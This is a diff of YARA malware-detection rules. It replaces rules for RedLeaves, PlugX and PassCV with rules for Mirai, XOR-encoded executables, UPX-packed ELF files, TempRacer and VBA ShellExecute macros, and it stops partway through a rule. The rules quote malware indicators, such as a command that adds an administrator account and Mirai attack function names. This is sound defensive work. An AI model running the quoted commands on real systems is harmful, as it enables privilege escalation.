-		modified = "2024-04-17"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_uscert_ta17-1117a.yar#L23-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2ebfdaf363ac80bc9bace3056ff86efd9c1b246c6f60373a82df4a0db901a6e3"
+		description = "Detects ELF malware Mirai related"
+		author = "Florian Roth (Nextron Systems)"
+		id = "421b7708-030e-50d1-bf2e-e91758a48c00"
+		date = "2018-10-27"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mirai.yar#L124-L138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "47d20bdf64c18c925dc1391b022278f913b7fbce13988a7b5de2e9d135c5a265"
 		score = 75
 		quality = 85
-		tags = ""
-		true_positive = "7f8a867a8302fe58039a6db254d335ae"
+		tags = "FILE"
+		hash1 = "fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9"
 
 	strings:
-		$XOR_Loop = {32 0c 3a 83 c2 02 88 0e 83 fa 08 [4-14] 32 0c 3a 83 c2 02 88 0e 83 fa 10}
+		$c01 = { 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00
+               20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D
+               41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A }
 
 	condition:
-		any of them
+		uint16(0)==0x457f and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_REDLEAVES_Droppedfile_Obfuscatedshellcodeandrat_Handkerchief
+rule SIGNATURE_BASE_MAL_Mirai_Nov19_1 : FILE
 {
 	meta:
-		description = "Detects obfuscated .dat file containing shellcode and core REDLEAVES RAT"
-		author = "USG"
-		id = "51a28529-1084-5f24-9369-6427e8d51d9d"
-		date = "2024-04-17"
-		modified = "2024-04-17"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_uscert_ta17-1117a.yar#L36-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f91bd1ddd6691a0a5b6ebc6a28d35bb5b2e6c00754f07e58ffb01e06ad590ae3"
+		description = "Detects Mirai malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "40edcb29-9e10-5b87-ba79-8e3f629829e5"
+		date = "2019-11-13"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/bad_packets/status/1194049104533282816"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mirai.yar#L140-L157"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e1202a9cd445c590c359a9c93e635292f8cf7f09291f4d8504ad9ce6679f6a47"
 		score = 75
-		quality = 83
-		tags = ""
-		true_positive = "fb0c714cd2ebdcc6f33817abe7813c36"
+		quality = 85
+		tags = "FILE"
+		hash1 = "bbb83da15d4dabd395996ed120435e276a6ddfbadafb9a7f096597c869c6c739"
+		hash2 = "fadbbe439f80cc33da0222f01973f27cce9f5ab0709f1bfbf1a954ceac5a579b"
 
 	strings:
-		$RedleavesStringObfu = {73 64 65 5e 60 74 75 74 6c 6f 60 6d 5e 6d 64 60 77 64 72 5e 65 6d 6d 6c 60 68 6f 2f 65 6d 6d}
+		$s1 = "SERVZUXO" fullword ascii
+		$s2 = "-loldongs" fullword ascii
+		$s3 = "/dev/null" fullword ascii
+		$s4 = "/bin/busybox" fullword ascii
+		$sc1 = { 47 72 6F 75 70 73 3A 09 30 }
 
 	condition:
-		any of them
+		uint16(0)==0x457f and filesize <=100KB and 4 of them
 }
-rule SIGNATURE_BASE_REDLEAVES_Coreimplant_Uniquestrings : FILE
+rule SIGNATURE_BASE_MAL_ARM_LNX_Mirai_Mar13_2022 : FILE
 {
 	meta:
-		description = "Strings identifying the core REDLEAVES RAT in its deobfuscated state"
-		author = "USG"
-		id = "fd4d4804-f7d9-549d-8f63-5f409d6180f9"
-		date = "2018-12-20"
-		modified = "2024-04-17"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_uscert_ta17-1117a.yar#L49-L64"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ce6ab0f4007f3ea3c31442cab702ad3579faa6835d5ee9b4c03516ce0499bf3e"
+		description = "Detects new ARM Mirai variant"
+		author = "Mehmet Ali Kerimoglu a.k.a. CYB3RMX"
+		id = "54d8860e-fc45-5571-b68c-66590c67a705"
+		date = "2022-03-16"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_mirai.yar#L159-L181"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a44a6174a198a658c8a5e2da50192da20bae7f8ed4e4f212c9eebb29fa4b0dd0"
 		score = 75
-		quality = 81
+		quality = 85
 		tags = "FILE"
+		hash1 = "0283b72913b8a78b2a594b2d40ebc3c873e4823299833a1ff6854421378f5a68"
 
 	strings:
-		$unique2 = "RedLeavesSCMDSimulatorMutex" nocase wide ascii
-		$unique4 = "red_autumnal_leaves_dllmain.dll" wide ascii
-		$unique7 = "\\NamePipe_MoreWindows" wide ascii
+		$str1 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm"
+		$str2 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm"
+		$str3 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm"
+		$str4 = "/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv6l/bin/../cc/include"
+		$attck1 = "attack.c"
+		$attck2 = "attacks.c"
+		$attck3 = "anti_gdb_entry"
+		$attck4 = "resolve_cnc_addr"
+		$attck5 = "attack_gre_eth"
+		$attck6 = "attack_udp_generic"
+		$attck7 = "attack_get_opt_ip"
+		$attck8 = "attack_icmpecho"
 
 	condition:
-		not uint32(0)==0x66676572 and any of them
+		uint16(0)==0x457f and (3 of ($str*) or 4 of ($attck*))
 }
-rule SIGNATURE_BASE_PLUGX_Redleaves
+rule SIGNATURE_BASE_SUSP_Two_Byte_XOR_PE_And_MZ : FILE
 {
 	meta:
-		description = "Detects specific RedLeaves and PlugX binaries"
-		author = "US-CERT Code Analysis Team"
-		id = "ede8ad8f-31cf-5314-9777-bddd60e499f2"
-		date = "2017-03-04"
-		date = "2017-04-03"
-		modified = "2024-04-17"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_uscert_ta17-1117a.yar#L66-L93"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c52110eb18dcdb7a0d4b8c42f22368acdd1bce44a192abcd71a20bee2705475"
-		score = 75
+		description = "Look for 2 byte xor of a PE starting at offset 0"
+		author = "Wesley Shields <wxs@atarininja.org>"
+		id = "ddb87194-bafb-597d-9184-fe4fe3c5ce8d"
+		date = "2021-10-11"
+		modified = "2023-12-05"
+		reference = "https://gist.github.com/wxsBSD/bf7b88b27e9f879016b5ce2c778d3e83"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_xored_pe.yar#L2-L13"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8a43ff9ec966df72ef35fb9ba9bbbd6f8b0f3761669bb91dc5919645d6327174"
+		score = 70
 		quality = 85
-		tags = ""
-		incident = "10118538"
-		MD5_1 = "598FF82EA4FB52717ACAFB227C83D474"
-		MD5_2 = "7D10708A518B26CC8C3CBFBAA224E032"
-		MD5_3 = "AF406D35C77B1E0DF17F839E36BCE630"
-		MD5_4 = "6EB9E889B091A5647F6095DCD4DE7C83"
-		MD5_5 = "566291B277534B63EAFC938CDAAB8A399E41AF7D"
-
-	strings:
-		$s0 = { 80343057403D2FD0010072F433C08BFF80343024403D2FD0010072F4 }
-		$s1 = "C:\\Users\\user\\Desktop\\my_OK_2014\\bit9\\runsna\\Release\\runsna.pdb"
-		$s2 = "d:\\work\\plug4.0(shellcode)"
-		$s3 = "\\shellcode\\shellcode\\XSetting.h"
-		$s4 = { 42AFF4276A45AA58474D4C4BE03D5B395566BEBCBDEDE9972872C5C4C5498228 }
-		$s5 = { 8AD32AD002D180C23830140E413BCB7CEF6A006A006A00566A006A00 }
-		$s6 = { EB055F8BC7EB05E8F6FFFFFF558BEC81ECC8040000535657 }
-		$s7 = { 8A043233C932043983C10288043283F90A7CF242890D18AA00103BD37CE2891514AA00106A006A006A0056 }
-		$s8 = { 293537675A402A333557B05E04D09CB05EB3ADA4A4A40ED0B7DAB7935F5B5B08 }
-		$s9 = "RedLeavesCMDSimulatorMutex"
+		tags = "FILE"
 
 	condition:
-		$s0 or $s1 or $s2 and $s3 or $s4 or $s5 or $s6 or $s7 or $s8 or $s9
+		uint16(0)!=0x5a4d and uint32(( uint16(0x3c)^( uint16(0)^0x5a4d))|(( uint16(0x3e)^( uint16(0)^0x5a4d))<<16))^(( uint16(0)^0x5a4d)|(( uint16(0)^0x5a4d)<<16))==0x00004550
 }
-rule SIGNATURE_BASE_Plugx_J16_Gen : FILE
+rule SIGNATURE_BASE_SUSP_Four_Byte_XOR_PE_And_MZ : FILE
 {
 	meta:
-		description = "Detects PlugX Malware samples from June 2016"
-		author = "Florian Roth (Nextron Systems)"
-		id = "13ef1e80-7090-5a1e-bca7-8d3de0dc2247"
-		date = "2016-06-08"
+		description = "Look for 4 byte xor of a PE starting at offset 0"
+		author = "Wesley Shields <wxs@atarininja.org>"
+		id = "d7b4b462-dfde-5d1f-8039-63522436c15f"
+		date = "2021-10-11"
 		modified = "2023-12-05"
-		reference = "VT Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_win_plugx.yar#L10-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3e988243663264b2647e098e36b83dd675141fa9765c9bd47c30f29bf176cd8f"
-		score = 75
+		reference = "https://gist.github.com/wxsBSD/bf7b88b27e9f879016b5ce2c778d3e83"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_xored_pe.yar#L15-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "28230cd3c1d1da97a98df09243593eb59b57f376f651d5f22c3ea5903f0f73e4"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-
-	strings:
-		$x1 = "%WINDIR%\\SYSTEM32\\SERVICES.EXE" fullword wide
-		$x2 = "\\\\.\\PIPE\\RUN_AS_USER(%d)" fullword wide
-		$x3 = "LdrLoadShellcode" fullword ascii
-		$x4 = "Protocol:[%4s], Host: [%s:%d], Proxy: [%d:%s:%d:%s:%s]" fullword ascii
-		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\User Agent\\Post Platform" fullword wide
-		$s2 = "%s\\msiexec.exe %d %d" fullword wide
-		$s3 = "l%s\\sysprep\\CRYPTBASE.DLL" fullword wide
-		$s4 = "%s\\msiexec.exe UAC" fullword wide
-		$s5 = "CRYPTBASE.DLL" fullword wide
-		$s6 = "%ALLUSERSPROFILE%\\SxS" fullword wide
-		$s7 = "%s\\sysprep\\sysprep.exe" fullword wide
-		$s8 = "\\\\.\\pipe\\a%d" fullword wide
-		$s9 = "\\\\.\\pipe\\b%d" fullword wide
-		$s10 = "EName:%s,EAddr:0x%p,ECode:0x%p,EAX:%p,EBX:%p,ECX:%p,EDX:%p,ESI:%p,EDI:%p,EBP:%p,ESP:%p,EIP:%p" fullword ascii
-		$s11 = "Mozilla/4.0 (compatible; MSIE " fullword wide
-		$s12 = "; Windows NT %d.%d" fullword wide
-		$s13 = "SOFTWARE\\Microsoft\\Internet Explorer\\Version Vector" fullword wide
-		$s14 = "\\bug.log" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and (1 of ($x*) or 4 of ($s*))) or (8 of them )
+		uint16(0)!=0x5a4d and uint32(0x28)!=0x00000000 and uint32(0x28)== uint32(0x2c) and uint32( uint32(0x3c)^ uint32(0x28))^ uint32(0x28)==0x00004550
 }
-rule SIGNATURE_BASE_Plugx_J16_Gen2 : FILE
+rule SIGNATURE_BASE_SUSP_ELF_LNX_UPX_Compressed_File : FILE
 {
 	meta:
-		description = "Detects PlugX Malware Samples from June 2016"
+		description = "Detects a suspicious ELF binary with UPX compression"
 		author = "Florian Roth (Nextron Systems)"
-		id = "28e9cbb9-cd60-555d-b033-4e2bf293adf2"
-		date = "2016-06-08"
+		id = "078937de-59b3-538e-a5c3-57f4e6050212"
+		date = "2018-12-12"
 		modified = "2023-12-05"
-		reference = "VT Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_win_plugx.yar#L42-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8fbe90cbff5d408d26b0a5ace6833a0e3100d11ff544184d9ccc2f39ee806de9"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_elf_file_anomalies.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d310de1ab68bd6da9ae057c7edea0d6b24d408f85ec40c2306f1ac8a2bc2f55"
+		score = 40
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4"
 
 	strings:
-		$s1 = "XPlugKeyLogger.cpp" fullword ascii
-		$s2 = "XPlugProcess.cpp" fullword ascii
-		$s4 = "XPlgLoader.cpp" fullword ascii
-		$s5 = "XPlugPortMap.cpp" fullword ascii
-		$s8 = "XPlugShell.cpp" fullword ascii
-		$s11 = "file: %s, line: %d, error: [%d]%s" fullword ascii
-		$s12 = "XInstall.cpp" fullword ascii
-		$s13 = "XPlugTelnet.cpp" fullword ascii
-		$s14 = "XInstallUAC.cpp" fullword ascii
+		$s1 = "PROT_EXEC|PROT_WRITE failed." fullword ascii
+		$s2 = "$Id: UPX" fullword ascii
+		$s3 = "$Info: This file is packed with the UPX executable packer" ascii
+		$fp1 = "check your UCL installation !"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and (2 of ($s*))) or (5 of them )
+		uint16(0)==0x457f and filesize <2000KB and filesize >30KB and 2 of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Passcv_Sabre_Malware_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Unsigned_Googleupdate : FILE
 {
 	meta:
-		description = "PassCV Malware mentioned in Cylance Report"
+		description = "Detects suspicious unsigned GoogleUpdate.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "99a26daa-c563-5b23-89b9-965d8ce7229d"
-		date = "2016-10-20"
+		id = "2575b882-3526-5c42-9d50-83fb0b7df3f5"
+		date = "2019-08-05"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passcv.yar#L10-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dfa356b4dff12c3de467c74763fc4d233db9ff5bc3e9ac9f052d331fa47a4ded"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_google_anomaly.yar#L3-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5e333ac773927e2ed1f6aa4d6bbcb63d67bcc8d18d732a84bb68cb503469b247"
+		score = 60
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "24a9bfbff81615a42e42755711c8d04f359f3bf815fb338022edca860ff1908a"
-		hash2 = "e61e56b8f2666b9e605127b4fcc7dc23871c1ae25aa0a4ea23b48c9de35d5f55"
+		hash1 = "5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354"
 
 	strings:
-		$x1 = "F:\\Excalibur\\Excalibur\\Excalibur\\" ascii
-		$x2 = "bin\\oSaberSvc.pdb" ascii
-		$s1 = "cmd.exe /c MD " fullword ascii
-		$s2 = "https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=0&rsv_idx=1&tn=baidu&wd=ip138" fullword wide
-		$s3 = "CloudRun.exe" fullword wide
-		$s4 = "SaberSvcB.exe" fullword wide
-		$s5 = "SaberSvc.exe" fullword wide
-		$s6 = "SaberSvcW.exe" fullword wide
-		$s7 = "tianshiyed@iaomaomark1#23mark123tokenmarkqwebjiuga664115" fullword wide
-		$s8 = "Internet Connect Failed!" fullword ascii
+		$ac1 = { 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C
+               00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65
+               00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55
+               00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78
+               00 65 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) and 5 of ($s*))) or ( all of them )
+		uint16(0)==0x5a4d and filesize <2000KB and $ac1 and pe.number_of_signatures<1
 }
-rule SIGNATURE_BASE_Passcv_Sabre_Malware_Signing_Cert : FILE
+rule SIGNATURE_BASE_Tempracer : FILE
 {
 	meta:
-		description = "PassCV Malware mentioned in Cylance Report"
+		description = "Detects privilege escalation tool - file TempRacer.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2b2d1313-6454-5e3f-9b58-5b1a26739ba8"
-		date = "2016-10-20"
+		id = "edba6471-9720-5aad-8c15-386197700c83"
+		date = "2016-03-30"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passcv.yar#L36-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ead1de262858960a13b375713183f775bc275fbf4beba4c0839cef2baa5e9f00"
-		score = 50
+		reference = "http://www.darknet.org.uk/2016/03/tempracer-windows-privilege-escalation-tool/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_tempracer.yar#L10-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e17d80c4822d16371d75e1440b6ac44af490b71fbee1010a3e8a5eca94d22bb3"
+		logic_hash = "37355456e13ea9fa6429b68970e0450f4ddbd8da81c070a0383b1e048a05e35a"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7c32885c258a6d5be37ebe83643f00165da3ebf963471503909781540204752e"
 
 	strings:
-		$s1 = "WOODTALE TECHNOLOGY INC" ascii
-		$s2 = "Flyingbird Technology Limited" ascii
-		$s3 = "Neoact Co., Ltd." ascii
-		$s4 = "AmazGame Age Internet Technology Co., Ltd" ascii
-		$s5 = "EMG Technology Limited" ascii
-		$s6 = "Zemi Interactive Co., Ltd" ascii
-		$s7 = "337 Technology Limited" ascii
-		$s8 = "Runewaker Entertainment0" fullword ascii
+		$s1 = "\\obj\\Release\\TempRacer.pdb" ascii
+		$s2 = "[+] Injecting into " fullword wide
+		$s3 = "net localgroup administrators alex /add" fullword wide
+		$s4 = "[+] File: {0} renamed to {1}" fullword wide
+		$s5 = "[+] Blocking " fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <3000KB and 1 of them )
+		( uint16(0)==0x5a4d and filesize <25KB and 1 of them ) or (4 of them )
 }
-rule SIGNATURE_BASE_Passcv_Sabre_Malware_2 : FILE
+rule SIGNATURE_BASE_Gen_Macro_Shellexecute_Action : FILE
 {
 	meta:
-		description = "PassCV Malware mentioned in Cylance Report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dd9eb5f6-9faa-584d-b3b5-6dcfdc3f359c"
-		date = "2016-10-20"
+		description = "VBA macro technique to call ShellExecute to launch payload"
+		author = "John Lambert @JohnLaTwC"
+		id = "4ae3d3d9-de4a-5c5c-9a4a-bedc80b576be"
+		date = "2019-01-08"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passcv.yar#L59-L82"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f640f1dc60c6714195dcdb9a0bb4fb0c34e0a62673bca00c7f49f7b73c3f9b0a"
+		reference = "https://twitter.com/ItsReallyNick/status/1091170625698316288"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_macro_ShellExecute_action.yar#L1-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "da40175579f7d76d10ad0188851f111ba5d875ce990b2940166dd28eac2a742d"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "475d1c2d36b2cf28b28b202ada78168e7482a98b42ff980bbb2f65c6483db5b4"
-		hash2 = "009645c628e719fad2e280ef60bbd8e49bf057196ac09b3f70065f1ad2df9b78"
-		hash3 = "92479c7503393fc4b8dd7c5cd1d3479a182abca3cda21943279c68a8eef9c64b"
-		hash4 = "0c7b952c64db7add5b8b50b1199fc7d82e9b6ac07193d9ec30e5b8d353b1f6d2"
+		note = "This rule only works on VT or systems that perform macro subfile extraction"
+		hash1 = "0878eec9ecae493659e42c1d87588573c1e6fc30acf7a59e6fdb5296b1c198ef"
+		hash2 = "a0963ac15339c9803b4355fd71b68bf6ddedad960d5b3ad40bae873263470191"
+		hash3 = "dd094e44a817604596d1ab06ca6e9597d49ca0a2cbe9239c73ceaad70265ec2a"
+		hash4 = "7b9094ea41e89379c7048ef784ef494c4597ea0d31b707dcb9c8495f241f5fb0"
+		hash5 = "35d8242726b905882bbfcf2770f84cb6f40552e76bff8fb0082ca10de3d61e54"
+		hash6 = "bf9ff20d814bf21d46a22abbd7a8ad0276145807f9adf8d2787df9e3fce3f35d"
+		hash7 = "77966004fcbff147f6923b3405ad9ad4e1dda42d0931564d0cdc4c7e1c91106a"
+		hash8 = "c77c8033a1e5f694fa119dd7f78811f6015726822121b9414fc01e7de8770447"
 
 	strings:
-		$x1 = "ncProxyXll" fullword ascii
-		$s1 = "Uniscribe.dll" fullword ascii
-		$s2 = "WS2_32.dll" ascii
-		$s3 = "ProxyDll" fullword ascii
-		$s4 = "JDNSAPI.dll" fullword ascii
-		$s5 = "x64.dat" fullword ascii
-		$s6 = "LSpyb2" fullword ascii
+		$com1a = "00A0C91F3880"
+		$com1b = "C08AFD90"
+		$com2a = "00A0C90A8F39"
+		$com2b = "9BA05972"
+		$s3 = "ShellExecute" fullword
+		$s4 = "GetObject" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <4000KB and $x1) or ( all of them )
+		filesize <1MB and ( uint32be(0)==0x41747472 or uint32be(0)==0x61747472 or uint32be(0)==0x41545452) and all of ($s*) and ( all of ($com1*) or all of ($com2*))
 }
-rule SIGNATURE_BASE_Passcv_Sabre_Malware_Excalibur_1 : FILE
+rule SIGNATURE_BASE_Apt_CN_Tetris_JS_Advanced_1 : FILE
 {
 	meta:
-		description = "PassCV Malware mentioned in Cylance Report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "eadad36c-49c8-50e1-8334-813d2e760fe9"
-		date = "2016-10-20"
+		description = "Unique code from Jetriz, Swid & Jeniva of the Tetris framework"
+		author = "@imp0rtp3 (modified by Florian Roth)"
+		id = "a56f69f5-3562-52ab-9686-411019c51055"
+		date = "2020-09-06"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passcv.yar#L84-L105"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ffbd971368420460573c4ecc68261088ffacf91ab9ae72405b41393b04aa2b46"
+		reference = "https://imp0rtp3.wordpress.com/2021/08/12/tetris"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_tetris.yar#L2-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ec4ba53fea05c5331ed900b8c7da4cddd4ab64e87dfc165ac18d72d22f754d87"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "21566f5ff7d46cc9256dae8bc7e4c57f2b9261f95f6ad2ac921558582ea50dfb"
-		hash2 = "02922c5d994e81629d650be2a00507ec5ca221a501fe3827b5ed03b4d9f4fb70"
 
 	strings:
-		$x1 = "F:\\Excalibur\\Excalibur\\" ascii
-		$x2 = "Excalibur\\bin\\Shell.pdb" ascii
-		$x3 = "SaberSvc.exe" wide
-		$s1 = "BBB.exe" fullword wide
-		$s2 = "AAA.exe" fullword wide
+		$a1 = "var a0_0x"
+		$b1 = "a0_0x" ascii
+		$cx1 = "))),function(){try{var _0x"
+		$cx2 = "=window)||void 0x0===_0x"
+		$cx3 = "){if(opener&&void 0x0!==opener["
+		$cx4 = "String['fromCharCode'](0x"
+		$e1 = "')](__p__)"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 1 of ($x*) or all of ($s*)) or 3 of them
+		$a1 at 0 or ( filesize <1000KB and (#b1>300 or #e1>1 or 2 of ($cx*)))
 }
-rule SIGNATURE_BASE_Passcv_Sabre_Malware_3 : FILE
+rule SIGNATURE_BASE_Apt_CN_Tetrisplugins_JS : FILE
 {
 	meta:
-		description = "PassCV Malware mentioned in Cylance Report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "03e5efc0-6076-501f-a600-b3d9008a8711"
-		date = "2016-10-20"
+		description = "Code and strings of plugins from the Tetris framework loaded by Swid"
+		author = "@imp0rtp3"
+		id = "83e6fbad-55d6-5229-a17d-8929e0e658f8"
+		date = "2020-09-06"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_passcv.yar#L107-L124"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1032f41688e7cb3fe0be33b143c1af43ee705737a70af3b336ba8504ffe169a9"
+		reference = "https://imp0rtp3.wordpress.com/2021/08/12/tetris"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_tetris.yar#L34-L114"
